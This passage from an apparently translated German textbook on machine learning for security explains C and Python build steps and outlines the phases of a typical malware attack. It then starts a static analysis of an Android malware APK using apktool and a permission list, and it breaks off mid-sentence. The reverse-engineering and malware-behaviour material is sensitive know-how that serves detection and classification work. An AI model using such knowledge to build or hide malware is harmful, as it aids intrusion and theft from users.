So können wir die Struktur der Binärdatei direkt erkennen. Beachte zum Beispiel, dass am Anfang der Datei die Zeichen E, L und F stehen. Der Assembler hat eine ELF-Datei (Executable and Linkable Format, genauer gesagt ELF64) erzeugt, und jede ELF-Datei beginnt mit einem Header, der einige Eigenschaften der Datei angibt, unter anderem, um welchen Dateityp es sich handelt. Ein Dienstprogramm wie
readelf
kann uns helfen, alle in diesem Header enthaltenen Informationen zu analysieren:> readelf -h add.o ELF Header: Magic: 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00 Class: ELF64 Data: 2's complement, little endian Version: 1 (current) OS/ABI: UNIX - System V ABI Version: 0 Type: REL (Relocatable file) Machine: Advanced Micro Devices X86-64 Version: 0x1 Entry point address: 0x0 Start of program headers: 0 (bytes into file) Start of section headers: 696 (bytes into file) Flags: 0x0 Size of this header: 64 (bytes) Size of program headers: 0 (bytes) Number of program headers: 0 Size of section headers: 64 (bytes) Number of section headers: 13 Section header string table index: 10
-
Versuchen wir nun, die vom Assembler erzeugte Objektdatei auszuführen:13
> chmod u+x add.o > ./add.o bash: ./add.o: cannot execute binary file: Exec format error
Warum wird die
Exec format error
angezeigt? Dem vom Assembler erzeugten Objektcode fehlen einige wichtige Teile des Programms, die für die Ausführung erforderlich sind. Außerdem sind Teile des Programms nicht richtig angeordnet, so dass Bibliotheks- und Programmfunktionen nicht erfolgreich aufgerufen werden können. Das Linken, die letzte Phase des Build-Prozesses, behebt diese Probleme. In diesem Fall fügt der Linker den Objektcode für die Bibliotheksfunktionprintf
in die Binärdatei ein. Rufen wircc
auf, um die endgültige ausführbare Binärdatei zu erzeugen (wobei wir den Namen der Ausgabe alsadd
angeben; andernfalls verwendetcc
den Standardnamena.out
), und führen wir das Programm aus:> cc -o add add.c > chmod u+x add > ./add x + 1 = 4
Damit ist der Build-Prozess für ein einfaches Programm in C abgeschlossen, vom Code bis zur Ausführung.
Im vorangegangenen Beispiel wurde die externe Bibliothek stdio.h
statisch in die Binärdatei eingebunden, was bedeutet, dass sie zusammen mit dem restlichen Code in einem einzigen Paket kompiliert wurde. Einige Sprachen und Implementierungen ermöglichen die dynamische Einbindung externer Bibliotheken, was bedeutet, dass Bibliothekskomponenten, auf die im Code verwiesen wird, nicht in die kompilierte Binärdatei aufgenommen werden. Bei der Ausführung wird der Lader aufgerufen und durchsucht das Programm nach Verweisen auf dynamisch gelinkte Bibliotheken (oder Shared Libraries,14 mit den Erweiterungen .so, .dll usw.) und löst dann diese Verweise auf, indem er die Bibliotheken auf dem System sucht. Wir gehen hier nicht weiter auf die Mechanismen zum Laden dynamischer Bibliotheken ein.
Ausführen von interpretiertem Code
Als Beispiel für interpretierte Sprachimplementierungen werden wir den typischen Ausführungsprozess eines Python-Skripts analysieren. Beachte, dass es verschiedene Implementierungen von Python mit unterschiedlichen Codeausführungsprozessen gibt. In diesem Beispiel schauen wir uns CPython an,15 die Standard- und Originalimplementierung von Python, die in C geschrieben ist. Wir verwenden Python 3.5.2 auf Ubuntu 16.04. Wie in Abbildung 4-1 dargestellt, verfolgen wir den Weg eines Programms vom anfänglichen Zustand "Quellcode (interpretierte Ausführung)":16
class
AddOne
():
def
__init__
(
self
,
start
):
self
.
val
=
start
def
res
(
self
):
return
self
.
val
+
1
def
main
():
x
=
AddOne
(
3
)
(
'3 + 1 = {} '
.
format
(
x
.
res
()))
if
__name__
==
'__main__'
:
main
()
-
Wir beginnen mit diesem Python-Quellcode, der in der Datei add.py gespeichert ist. Wenn du das Skript als Argument an den Python-Interpreter übergibst, erhältst du das erwartete Ergebnis:
> python add.py 3 + 1 = 4
Zugegeben, das ist ein ziemlich komplizierter Weg, um zwei Zahlen zu addieren, aber dieses Beispiel gibt uns die Möglichkeit, den Build-Mechanismus von Python zu erkunden. Intern wird der von Menschen geschriebene Python-Code in ein Zwischenformat kompiliert, den sogenannten Bytecode, eine plattformunabhängige Darstellung des Programms. Wir können die kompilierten Python-Module (.pyc-Dateien 17) erstellt, wenn das Skript externe Module importiert und in das Zielverzeichnis schreiben kann.18 In diesem Fall wurden keine externen Module importiert, also wurden auch keine .pyc-Dateien erstellt. Um den Build-Prozess zu überprüfen, können wir die Erstellung dieser Datei mit dem Modul
py_compile
erzwingen:> python -m py_compile add.py
Dadurch wird die .pyc-Datei erstellt, die den kompilierten Bytecode für unser Programm enthält. In Python 3.5.2 wird die kompilierte Python-Datei als pycache/add.cpython-35.pyc erstellt. Wir können dann den Inhalt dieser Binärdatei untersuchen, indem wir den Header entfernen und die Datei in eine
types.CodeType
Struktur umwandeln:import
marshal
import
types
# Convert a big-endian 32-bit byte array to a long
def
to_long
(
s
)
:
return
s
[
0
]
+
(
s
[
1
]
<<
8
)
+
(
s
[
2
]
<<
16
)
+
(
s
[
3
]
<<
24
)
# Print out hierarchy of code names and line numbers
def
inspect_code
(
code
,
indent
=
'
'
)
:
print
(
'
{}{}(line:{})
'
.
format
(
indent
,
code
.
co_name
,
code
.
co_firstlineno
)
)
for
c
in
code
.
co_consts
:
if
isinstance
(
c
,
types
.
CodeType
)
:
inspect_code
(
c
,
indent
+
'
'
)
f
=
open
(
'
__pycache__/add.cpython-35.pyc
'
,
'
rb
'
)
# Read .pyc file header
magic
=
f
.
read
(
4
)
print
(
'
magic: {}
'
.
format
(
magic
.
hex
(
)
)
)
mod_time
=
to_long
(
f
.
read
(
4
)
)
print
(
'
mod_time: {}
'
.
format
(
mod_time
)
)
# Only Python >=3.3 .pyc files contain the source_size header
source_size
=
to_long
(
f
.
read
(
4
)
)
print
(
'
source_size: {}
'
.
format
(
source_size
)
)
print
(
'
\n
code:
'
)
code
=
marshal
.
load
(
f
)
inspect_code
(
code
)
f
.
close
(
)
Python .pyc-Dateien ab Version 3.2 haben einen Header, der zwei 32-Bit Big-Endian-Zahlen enthält, gefolgt von dem marshaled code object. In den Versionen 3.3 und höher wird ein neues 32-Bit-Feld in den Header aufgenommen, das die Größe der Quelldatei kodiert (wodurch sich die Größe des Headers in Python 3.3 im Vergleich zu früheren Versionen von 8 auf 12 Byte erhöht).
Wenn du dieses Skript ausführst, erhältst du die folgenden Ergebnisse:
magic: 160d0d0a mod_time: 1493965574 source_size: 231 code: <module>(line:1) AddOne(line:1) __init__(line:2) res(line:4) main(line:7)
Es gibt noch mehr Informationen im
CodeType
Objekt, die wir nicht anzeigen, aber dies zeigt die allgemeine Struktur des Bytecodes. -
Dieser Bytecode wird von der Laufzeit der virtuellen Python-Maschine ausgeführt. Beachte, dass dieser Bytecode kein binärer Maschinencode ist, sondern Python-spezifische Opcodes, die von der virtuellen Maschine interpretiert werden, die den Code dann in Maschinenbefehle übersetzt. Mit der
dis.disassemble()
Funktion zum Disassemblieren descode
Objekts, das wir zuvor erstellt haben, erhalten wir das folgende Ergebnis:> import dis > dis.disassemble(code) 1 0 LOAD_BUILD_CLASS 1 LOAD_CONST 0 (< code object AddOne at 0x7f78741f7930, file "add.py", line 1> ) 4 LOAD_CONST 1 ('AddOne') 7 MAKE_FUNCTION 0 10 LOAD_CONST 1 ('AddOne') 13 CALL_FUNCTION 2 (2 positional, 0 keyword pair) 16 STORE_NAME 0 (AddOne) 7 19 LOAD_CONST 2 (< code object main at 0x7f78741f79c0, file "add.py", line 7> ) 22 LOAD_CONST 3 ('main') 25 MAKE_FUNCTION 0 28 STORE_NAME 1 (main) 11 31 LOAD_NAME 2 (__name__) 34 LOAD_CONST 4 ('__main__') 37 COMPARE_OP 2 (==) 40 POP_JUMP_IF_FALSE 50 12 43 LOAD_NAME 1 (main) 46 CALL_FUNCTION 0 (0 positional, 0 keyword pair) 49 POP_TOP > > 50 LOAD_CONST 5 (None) 53 RETURN_VALUE
Du kannst die in den beiden vorherigen Schritten gezeigte Ausgabe auch erhalten, indem du das Python-Modul
trace
auf der Kommandozeile überpython -m trace add.py
aufrufst.Du kannst sofort die Ähnlichkeiten zwischen dieser Ausgabe und dem x86-Assemblercode erkennen, den wir zuvor besprochen haben. Die virtuelle Maschine von Python liest diesen Bytecode ein und wandelt ihn in Maschinencode um,19 der auf der Zielarchitektur ausgeführt wird, und schließt damit den Prozess der Codeausführung ab.
Der Code-Ausführungsprozess für interpretierte Sprachen ist kürzer, weil kein Build- oder Kompilierungsschritt erforderlich ist: Du kannst den Code sofort ausführen, nachdem du ihn geschrieben hast. Python-Bytecode kann nicht direkt auf der Zielhardware ausgeführt werden, da er von der virtuellen Python-Maschine interpretiert und anschließend in Maschinencode übersetzt werden muss. Dieser Prozess führt zu einigen Ineffizienzen und Leistungseinbußen im Vergleich zu "niederen" Sprachen wie C. Beachte jedoch, dass die oben beschriebene Ausführung von Python-Dateicode ein gewisses Maß an Kompilierung beinhaltet, so dass die virtuelle Maschine von Python nicht jede Quelltextanweisung im Laufe des Programms wiederholt analysieren und reparieren muss. Die Ausführung von Python im interaktiven Shell-Modus entspricht eher dem Modell einer reinen interpretierten Sprache, da jede Zeile zur Ausführungszeit analysiert und geparst wird.
Wenn wir Zugang zu von Menschen geschriebenem Quellcode haben, können wir leicht bestimmte Eigenschaften und Absichten einer Software analysieren, die es uns ermöglichen, sie genau nach Familie und Funktion zu klassifizieren. Da wir aber oft keinen Zugriff auf den Code haben, müssen wir auf indirektere Mittel zurückgreifen, um Informationen über das Programm zu erhalten. Mit dem Verständnis der modernen Codeausführungsprozesse können wir nun einige verschiedene Möglichkeiten zur statischen und Laufzeitanalyse von Malware betrachten. Der Code durchläuft auf seinem Weg von der Urheberschaft bis zur Ausführung einen genau definierten Pfad. Wenn man ihn an einem beliebigen Punkt auf diesem Weg abfängt, kann man eine Menge Informationen über das Programm herausfinden .
Typischer Ablauf eines Malware-Angriffs
Um Malware zu untersuchen und zu klassifizieren, ist es wichtig zu verstehen, was Malware tut und wie es zu einem Einbruch kommt. Wie in Kapitel 1 erläutert, haben verschiedene Arten von Malware unterschiedliche Verbreitungsmethoden, dienen unterschiedlichen Zwecken und stellen ein unterschiedliches Risiko für Einzelpersonen und Organisationen dar. Es ist jedoch möglich, den typischen Ablauf eines Malware-Angriffs zu beschreiben; Abbildung 4-2 zeigt diesen Ablauf.
In Phase 1 sind die ersten Aufklärungsbemühungen in der Regel passiv und verwenden indirekte Methoden, um das Ziel zu erkunden. Danach werden aktive Aufklärungsmaßnahmen wie das Scannen von Ports durchgeführt, um genauere und aktuellere Informationen über das Ziel zu sammeln und eine Schwachstelle für die Infiltration zu finden. Diese Schwachstelle könnte ein offener Port sein, auf dem ungepatchte verwundbare Software läuft, oder ein Mitarbeiter, der anfällig für Spear-Phishing-Angriffe ist. Das Ausnutzen der Schwachstelle kann dazu führen, dass die Malware erfolgreich in den Perimeter eindringt. Nach erfolgreicher Infiltration wird das Ziel zu einem Opfer.
In Phase 2 befindet sich die Malware bereits in der Umgebung des Opfers. Durch interne Aufklärungsmaßnahmen und Host-Pivoting (auch horizontale Bewegung genannt) kann die Malware durch das Netzwerk manövrieren, um hochwertige Hosts zu finden. Dann verschanzt er sich in der Umgebung, indem er Hintertüren installiert, um sich später Zugang zu verschaffen, oder indem er sich als dauerhafter Daemon-Prozess im Hintergrund installiert.
In Phase 3 ist die Malware bereit, sich selbst aus der Umgebung zu entfernen und keine Spuren zu hinterlassen. Bei Malware, die private Daten stiehlt, werden die gestohlenen Daten (z. B. Benutzeranmeldeinformationen, Kreditkartennummern und wichtige Geschäftslogik) an einen Remote-Server gesendet. Wenn die Aufgabe abgeschlossen ist, kann sich die Malware selbst löschen und alle Spuren ihrer Aktionen auf dem Computer des Opfers beseitigen.
Je nach Art der Malware können einige oder alle Schritte der drei Phasen relevant sein. Malware zeigt auch oft bestimmte Verhaltensweisen, die wir gut verstehen sollten:
- Seine Anwesenheit verstecken
-
Malware nutzt häufig Packer und Verschlüsselungstechniken, um ihren Code zu komprimieren und zu verschleiern. Damit soll die Entdeckung verhindert und der Fortschritt der Analyse durch die Forscher behindert werden.
- Seine Funktion ausüben
-
Um ihre Funktion effektiv erfüllen zu können, muss Malware ein gewisses Maß an Persistenz gewährleisten, damit sie nicht durch Systemänderungen gelöscht oder von menschlichen Administratoren entdeckt werden kann. Abwehrumgehungstechniken wie DLL-Side-Loading und das Beenden von Antivirenprozessen werden häufig eingesetzt. Bestimmte Arten von Malware müssen sich durch laterale Bewegungen im Netzwerk bewegen, und die meisten Arten von Malware versuchen eine Form der Privilegienerweiterung (entweder durch das Ausnutzen einer Software/OS-Schwachstelle wie Pufferüberläufe oder durch Social Engineering des Endbenutzers), um Administratorzugriff auf eine Plattform zu erhalten.
- Daten sammeln und nach Hause telefonieren
-
Nachdem die Malware alle Daten gesammelt hat, die sie braucht (Server-/Anwendungsdaten, Webzugriffsprotokolle, Datenbankeinträge usw.), sendet sie die Daten an einen externen Sammelpunkt. Sie kann auch mit einem entfernten Command-and-Control-Server (C&C) "nach Hause telefonieren" und weitere Anweisungen erhalten.
Feature Generation
Als Data Scientist wirst du viel mehr Zeit damit verbringen, Daten in ein Format zu bringen, in dem sie effektiv genutzt werden können, als Klassifikatoren zu erstellen oder statistische Analysen durchzuführen. Im weiteren Verlauf dieses Kapitels nähern wir uns dem Thema Merkmalsextraktion und Merkmalstechnik am Beispiel von Malware und ausführbaren Binärdateien. Wir beginnen mit einem Überblick über die Schwierigkeiten, die Daten in eine für die Merkmalsextraktion geeignete Form zu bringen. Dann tauchen wir in die Aufgabe ein, Merkmale für die Klassifizierung von Malware zu erzeugen, indem wir eine Reihe von Techniken für die Analyse von ausführbaren Dateien anwenden, von denen sich einige automatisieren lassen.
Feature-Engineering ist für alle Anwendungen des maschinellen Lernens relevant. Warum also konzentrieren wir uns auf binäre Daten? Binäre Daten sind der kleinste gemeinsame Nenner der Datendarstellung. Alle anderen Formen von Informationen können im Binärformat dargestellt werden, und die Extraktion von Daten aus Binärdaten ist eine Frage der Interpretation der Bits, aus denen die Binärdaten bestehen. Feature-Extraktion und -Engineering ist der Prozess der Interpretation von Rohdaten, um Facetten der Daten zu generieren, die die Natur einer Verteilung am besten repräsentieren, und es gibt kein Datenformat, das komplexer zu analysieren oder relevanter für die Sicherheitsbranche ist als ausführbare Binärdateien.
Die Bedeutung der Datenerhebung und des Feature Engineering beim maschinellen Lernen kann nicht genug betont werden. Datenwissenschaftler und Ingenieure für maschinelles Lernen befinden sich manchmal in einer Position, in der sie wenig bis gar keinen Einfluss auf die Methodik und den Prozess der Datenerfassung haben. Das ist eine schreckliche Situation, denn die größten Durchbrüche und Verbesserungen im maschinellen Lernen und in der Datenwissenschaft entstehen oft durch die Verbesserung der Qualität der Rohdaten und nicht durch die Verwendung ausgefeilterer Algorithmen oder die Entwicklung besserer Systeme. Unabhängig von der Aufgabe ist es von großem Wert, sich mit den Rohdaten auseinanderzusetzen, um den besten Weg zu finden, die Informationen zu extrahieren, die du brauchst, um gute Ergebnisse zu erzielen. Wenn ein Algorithmus für maschinelles Lernen nicht gut abschneidet, solltest du immer daran denken, ob das nicht eher an der schlechten Datenqualität liegt als an den Unzulänglichkeiten des Algorithmus.
Dennoch ist die Datenerhebung oft der mühsamste, teuerste und zeitaufwändigste Teil der Datenwissenschaft. Es ist wichtig, flexible und effiziente Architekturen für die Datenerfassung zu entwickeln, da dies den Aufbau eines maschinellen Lernsystems erheblich beschleunigen kann. Es kann sich auszahlen, im Vorfeld gründlich zu recherchieren, wie man am besten Daten sammelt und zu entscheiden, was sich lohnt und was nicht. Sehen wir uns einige wichtige Dinge an, die beim Sammeln von Daten für maschinelles Lernen zu beachten sind.
Datenerhebung
Wenn du einfach ein Ventil öffnest und eine Flut von Daten aus dem Internet in deine Anwendung einströmen lässt, entstehen selten Daten von ausreichender Qualität für maschinelles Lernen. Am Ende sammelst du Daten, die du nicht brauchst, zusammen mit den Daten, die du brauchst, und diese könnten verzerrt oder undurchsichtig sein. Hier sind einige Überlegungen, die Datenwissenschaftler/innen anstellen, um die Datenerfassung zu verbessern:
- Die Bedeutung von Fachwissen
-
Das Sammeln von Daten für die auf maschinelles Lernen gestützte Malware-Analyse erfordert natürlich ein ganz anderes Domänenwissen als für andere Anwendungen, wie z. B. Computer Vision. Auch wenn eine neue Perspektive (d.h. fehlendes Fachwissen) manchmal nützlich ist, um ein Problem anders zu betrachten, kann ein tiefes Fachwissen im Anwendungsbereich dabei helfen, sehr schnell wichtige Merkmale zu identifizieren, die gesammelt werden müssen, damit die Lernalgorithmen die wichtigen Teile der Daten erkennen können.
Im Bereich der Sicherheit ist es sinnvoll, ein intuitives Verständnis von Computernetzwerken, Betriebssystemen, Codeausführungsprozessen usw. zu haben, bevor du anfängst, maschinelles Lernen auf diese Bereiche anzuwenden. Es kann manchmal schwierig sein, ein ausreichendes Maß an Fachwissen in verschiedenen Bereichen zu erlangen, und echte Erfahrung im Umgang mit bestimmten Problemen lässt sich nicht von heute auf morgen erwerben. In solchen Fällen kann es sehr wertvoll sein, sich mit Fachleuten zu beraten, bevor du Datenerfassungs- und Feature-Engineering-Programme entwirfst.
- Skalierbare Datenerfassungsprozesse
-
Um gute Ergebnisse zu erzielen, müssen wir unseren Algorithmen für maschinelles Lernen oft große Datenmengen zuführen. Es kann einfach sein, Merkmale manuell aus einem Dutzend Datenproben zu extrahieren, aber wenn es eine Million oder mehr Proben sind, kann es ziemlich kompliziert werden. Auch das Reverse Engineering von Binärdateien ist eine sehr zeit- und ressourcenintensive Aufgabe. Es ist unerschwinglich teuer, einen Datensatz mit hunderttausend verschiedenen Malware-Samples manuell zu analysieren.
Deshalb ist es wichtig, dass du über die Automatisierung der Datenerfassung nachdenkst, bevor du deinen Betrieb ausweiten musst. Mit einer Kombination aus Fachwissen und Datenexploration kannst du jedoch immer Wege finden, um deine Bemühungen auf die Automatisierung der Erfassung nur der wichtigsten Merkmale zu konzentrieren, die für die Aufgabe erforderlich sind.
- Validierung und Verzerrung
-
Woher weißt du, dass die gesammelten Daten korrekt und vollständig sind? Die Datenvalidierung ist von größter Bedeutung, denn systematische und konsistente Fehler bei der Datenerfassung können jede nachgelagerte Analyse ungültig machen und katastrophale Folgen für ein maschinelles Lernsystem haben. Es gibt jedoch keine einfache Möglichkeit, Eingabedaten algorithmisch zu validieren. Die beste Möglichkeit, solche Probleme frühzeitig zu erkennen, ist eine häufige und stichprobenartige manuelle Validierung der gesammelten Daten. Wenn etwas nicht mit deinen Erwartungen übereinstimmt, ist es wichtig, die Ursache zu finden und festzustellen, ob die Diskrepanz auf einen Fehler bei der Datenerfassung zurückzuführen ist.
Der Umgang mit intrinsischen Verzerrungen in den gesammelten Daten erfordert etwas mehr Fingerspitzengefühl, denn sie sind selbst bei einer manuellen Überprüfung schwieriger zu erkennen. Die einzige Möglichkeit, ein solches Problem zuverlässig zu erkennen, besteht darin, es explizit als mögliche Ursache für schlechte Ergebnisse beim maschinellen Lernen zu betrachten. Wenn z. B. ein System zur Klassifizierung von Tierbildern eine gute Gesamtgenauigkeit hat, aber bei den Vogelkategorien durchweg schlechte Ergebnisse erzielt, könnte das daran liegen, dass die ausgewählten Merkmale aus den Rohdaten die Identifizierung anderer Tiere begünstigen oder dass die gesammelten Daten nur Bilder von Vögeln in Ruhe und nicht von Vögeln im Flug enthalten.
Malware-Datensätze haben häufig das Problem, dass sie veraltet sind, weil sich die Art der Proben im Laufe der Zeit schnell ändern kann. So können z. B. Proben einer Malware-Familie, die im Januar gesammelt wurden, für Proben, die im März gesammelt wurden, nicht repräsentativ sein, da Malware-Entwickler sehr agil sein müssen, um eine signaturbasierte Erkennung zu vermeiden. Bei Sicherheitsdatensätzen besteht außerdem häufig ein Klassenungleichgewicht, da es schwierig sein kann, eine gleiche Anzahl von gutartigen und bösartigen Proben zu finden.
- Iteratives Experimentieren
-
Maschinelles Lernen ist ein Prozess des iterativen Experimentierens, und die Phase der Datenerhebung ist da keine Ausnahme. Wenn du an einem bestimmten Punkt des Prozesses nicht weiterkommst, solltest du dich daran erinnern, dass du die Situation mit einer wissenschaftlichen Einstellung angehen und sie als fehlgeschlagenes kontrolliertes Experiment betrachten solltest. Genauso wie ein Wissenschaftler eine Experimentvariable ändern und das Experiment neu starten würde, musst du eine fundierte Vermutung über die wahrscheinlichste Ursache des Fehlschlags anstellen und es erneut versuchen.
Erzeugen von Merkmalen
Die Aufgabe dieses Kapitels ist es, eine allgemeine Strategie für die Extraktion von Informationen aus komplexen Binärdateien unterschiedlicher Formate zu entwickeln. Wir begründen unsere Strategie mit einer detaillierten Diskussion darüber, wie man einen vollständigen und beschreibenden Satz von Merkmalen aus einer bestimmten Art von Binärdateien ableiten kann. Wir haben uns für Android-Binärdateien als Beispiel entschieden, weil sie in der heutigen, zunehmend mobil ausgerichteten Welt immer wichtiger werden und weil die Methoden, die wir zur Analyse von Android-Anwendungen verwenden werden, ganz einfach auf andere ausführbare Binärdatenformate wie Desktop- oder mobile Anwendungen, ausführbare Dokumentmakros oder Browser-Plug-ins übertragen werden können. Auch wenn einige der Tools und Analysemethoden, die wir besprechen werden, spezifisch für das Android-Ökosystem sind, haben sie oft eine Entsprechung in anderen Betriebssystemen.
Bei der Extraktion von Merkmalen für eine beliebige Aufgabe des maschinellen Lernens sollten wir immer den Zweck der Aufgabe im Auge behalten. Manche Aufgaben sind von bestimmten Merkmalen viel stärker abhängig als andere, aber wir werden uns hier nicht mit der Wichtigkeit oder Relevanz von Merkmalen befassen, da diese Messungen immer daran gebunden sind, wie wir die generierten Daten nutzen, um ein bestimmtes Ziel zu erreichen. Wir werden die Extraktion von Merkmalen nicht unter dem Gesichtspunkt einer einzelnen Aufgabe des maschinellen Lernens betrachten (Klassifizierung von Malware-Familien, Verhaltensklassifizierung, Erkennung von Bösartigkeit usw.), sondern wir gehen die Merkmalsgenerierung allgemeiner an, mit dem übergeordneten Ziel, so viele beschreibende Merkmale wie möglich aus einer komplexen Binärdatei zu erzeugen.
Android Malware Analyse
Android ist überall. Gemessen am Marktanteil von Smartphones (Betriebssystemen) ist es der bei weitem dominierende Player.20 Aufgrund dieser Beliebtheit ist Android eine attraktive Angriffsplattform für Angreifer, die ihren Einfluss auf ihre Opfer maximieren wollen. In Kombination mit den liberalen und offenen Anwendungsmarktplätzen (im Gegensatz zu Apples abgeschottetem iOS-Anwendungsökosystem) hat dies dazu geführt, dass Android schnell zur bevorzugten mobilen Plattform für Malware-Autoren geworden ist.21
Wenn wir die interne Struktur und Funktionsweise von Android-Anwendungen erforschen, können wir Reverse-Engineering-Techniken anwenden, um Merkmale zu finden, die uns helfen, Malware zu identifizieren und zu klassifizieren. Manuelle Schritte wie diese können uns dabei helfen, reichhaltige Merkmale für einige wenige Android-Anwendungen zu generieren, aber diese Methode lässt sich nicht gut skalieren, wenn wir dieselbe Merkmalsextraktion auf größere Datensätze anwenden müssen. Bei dieser Übung solltest du also bedenken, dass die Einfachheit der automatisierten Merkmalsextraktion genauso wichtig ist wie die Reichhaltigkeit der ausgewählten Merkmale. Es ist also nicht nur wichtig zu überlegen , welche Merkmale extrahiert werden sollen, sondern auch , wie man sie effizient und skalierbar extrahieren kann.
Eine allgemeine Methode für das Feature-Engineering besteht darin, nützliche Darstellungen der Daten so gründlich wie möglich zu berücksichtigen. Wenn jede Stichprobe nur aus ein paar booleschen Merkmalen besteht, ist keine komplexe Merkmalsextraktion erforderlich - es reicht aus, die Rohdaten als Eingabe für die Klassifizierungsalgorithmen zu verwenden. Wenn die einzelnen Stichproben jedoch so umfangreich und komplex sind wie Softwareanwendungen und ausführbare Binärdateien, haben wir alle Hände voll zu tun. Eine bescheidene 1-MB-Binärdatei enthält223 Bits an Informationen, was einer geometrischen Explosion von sage und schreibe 8.388.608 verschiedenen möglichen Werten entspricht. Der Versuch, Klassifizierungsaufgaben mit Hilfe von Informationen auf Bitebene durchzuführen, kann schnell unüberschaubar werden, und dies ist keine effiziente Darstellung, da die Daten viele redundante Informationen enthalten, die für den maschinellen Lernprozess nicht nützlich sind. Um beschreibende Merkmale auf höherer Ebene zu extrahieren, müssen wir ein gewisses Domänenwissen über die Struktur der Binärdaten (wie wir es weiter oben in diesem Kapitel beschrieben haben) und die Art und Weise, wie sie in einer Systemumgebung ausgeführt werden, anwenden. Auf den folgenden Seiten werden wir uns mit verschiedenen Methoden zur Analyse von Android-Anwendungen befassen und dabei berücksichtigen, dass sich viele dieser Methoden auch auf die Erstellung von Merkmalen für andere Arten von ausführbaren Binärdateien übertragen lassen. Als allgemeinen Rahmen für die Analyse von ausführbaren Binärdateien betrachten wir die folgenden Methoden:
-
Statische Methoden
-
Strukturelle Analyse
-
Statische Analyse
-
-
Dynamische Analyse
-
Verhaltensanalyse
-
Fehlersuche
-
Dynamische Instrumentierung
-
Verwenden wir nun diese Methoden (nicht in der aufgeführten Reihenfolge), um echte, bösartige Android-Anwendungen auf die gleiche Weise zu analysieren, wie es ein erfahrener Malware-Analyst tun würde. Diese manuelle Übung ist in der Regel der erste und wichtigste Schritt im Prozess der Feature-Generierung. In den folgenden Abschnitten verwenden wir den gemeinsamen Dateinamen infected.apk, um uns auf die einzelnen Android-Malware-Pakete zu beziehen, die wir analysieren werden.22
Strukturelle Analyse
Android-Anwendungen werden als Android Package Kit (APK)-Dateien verpackt. Dabei handelt es sich um ZIP-Archive, die alle Ressourcen und Metadaten enthalten, die die Anwendung zum Ausführen benötigt. Wir können das Paket mit einem Standard-Entpackungsprogramm entpacken, z. B. mit unzip
. Nach dem Entpacken der Datei sehen wir etwas in dieser Art:
> unzip infected.apk AndroidManifest.xml classes.dex resources.arsc META-INF/ assets/ res/
Als Erstes versuchen wir, diese Dateien zu untersuchen. Vor allem die DateiAndroidManifest.xml sieht so aus, als könnte sie einen Überblick über diese Anwendung geben. Diese Manifestdatei wird in jeder Android-App benötigt; sie enthält wichtige Informationen über die Anwendung, wie z. B. die erforderlichen Berechtigungen, Abhängigkeiten von externen Bibliotheken, Komponenten und so weiter. Beachte, dass wir hier nicht alle Berechtigungen angeben müssen, die die Anwendung verwendet. Anwendungen können auch zur Laufzeit Berechtigungen anfordern, kurz bevor eine Funktion, die eine bestimmte Berechtigung benötigt, aufgerufen wird. (Zum Beispiel öffnet sich kurz vor dem Aufrufen der Fotofunktion ein Dialogfeld, in dem der Benutzer aufgefordert wird, der Anwendung Zugriffsrechte für die Kamera zu erteilen.) Die Manifestdatei deklariert auch Folgendes:
- Aktivitäten
-
Bildschirme, mit denen der Nutzer interagiert
- Dienstleistungen
-
Im Hintergrund laufende Klassen
- Empfänger
-
Klassen, die mit Ereignissen auf Systemebene interagieren, z. B. SMS oder Änderungen der Netzwerkverbindung
Daher ist das Manifest ein guter Ausgangspunkt für unsere Analyse.
Es wird jedoch schnell klar, dass fast alle Dateien, die wir entpackt haben, in einem binären Format verschlüsselt sind. Der Versuch, diese Dateien im Originalzustand zu betrachten oder zu bearbeiten, ist unmöglich. An dieser Stelle kommen Tools von Drittanbietern ins Spiel. Apktool ist eine Art Schweizer Taschenmesser für das Reverse Engineering von Android-Paketen, das vor allem zum Disassemblieren und Dekodieren der Ressourcen in APK-Dateien verwendet wird. Nachdem wir es installiert haben, können wir es verwenden, um die APK in etwas zu entpacken, das für Menschen lesbar ist:
> apktool decode infected.apk I: Using Apktool 2.2.2 on infected.apk I: Loading resource table... I: Decoding AndroidManifest.xml with resources... I: Loading resource table from file: <redacted> I: Regular manifest package... I: Decoding file-resources... I: Decoding values */* XMLs... I: Baksmaling classes.dex... I: Copying assets and libs... I: Copying unknown files... I: Copying original files... > cd infected > ls AndroidManifest.xml apktool.yml assets/ original/ res/ smali/
Jetzt ist die Datei AndroidManifest.xml lesbar. Die Berechtigungsliste im Manifest ist ein sehr grundlegendes Merkmal, das wir nutzen können, um potenziell bösartige Anwendungen zu erkennen und zu klassifizieren. Es kann offensichtlich verdächtig sein, wenn eine Anwendung nach einer großzügigeren Liste von Berechtigungen fragt, als wir denken. Eine bestimmte bösartige Anwendung mit dem Paketnamen cn.dump.pencil bittet um die folgende Liste von Berechtigungen im Manifest:
<uses-permission android:name= "android.permission.INTERNET"/> <uses-permission android:name= "android.permission.ACCESS_NETWORK_STATE"/> <uses-permission android:name= "android.permission.RECEIVE_BOOT_COMPLETED"/> <uses-permission android:name= "android.permission.READ_PHONE_STATE"/> <uses-permission android:name= "android.permission.ACCESS_COARSE_LOCATION"/> <uses-permission android:name= "android.permission.ACCESS_FINE_LOCATION"/> <uses-permission android:name= "android.permission.ACCESS_WIFI_STATE"/> <uses-permission android:name= "android.permission.WRITE_EXTERNAL_STORAGE"/> <uses-permission android:name= "android.permission.READ_EXTERNAL_STORAGE"/> <uses-permission android:name= "android.permission.MOUNT_UNMOUNT_FILESYSTEMS"/> <uses-permission android:name= "android.permission.GET_TASKS"/> <uses-permission android:name= "android.permission.CHANGE_WIFI_STATE"/> <uses-permission android:name= "android.permission.VIBRATE"/> <uses-permission android:name= "android.permission.SYSTEM_ALERT_WINDOW"/> <uses-permission android:name= "com.android.launcher.permission.INSTALL_SHORTCUT"/> <uses-permission android:name= "com.android.launcher.permission.UNINSTALL_SHORTCUT"/> <uses-permission android:name= "android.permission.GET_PACKAGE_SIZE"/> <uses-permission android:name= "android.permission.RESTART_PACKAGES"/> <uses-permission android:name= "android.permission.READ_LOGS"/> <uses-permission android:name= "android.permission.WRITE_SETTINGS"/> <uses-permission android:name= "android.permission.CHANGE_NETWORK_STATE"/> <uses-permission android:name= "android.permission.ACCESS_MTK_MMHW"/> <uses-permission android:name= "android.permission.WRITE_SECURE_SETTINGS"/>
In Anbetracht der Tatsache, dass diese App Bleistift-Skizzen auf Kamerafotos anwenden soll, scheint es ziemlich unvernünftig zu sein, vollen Zugriff auf das Internet (android.permission.INTERNET
) und die Fähigkeit, Systemwarnungsfenster anzuzeigen (android.permission.SYSTEM_ALERT_WINDOW
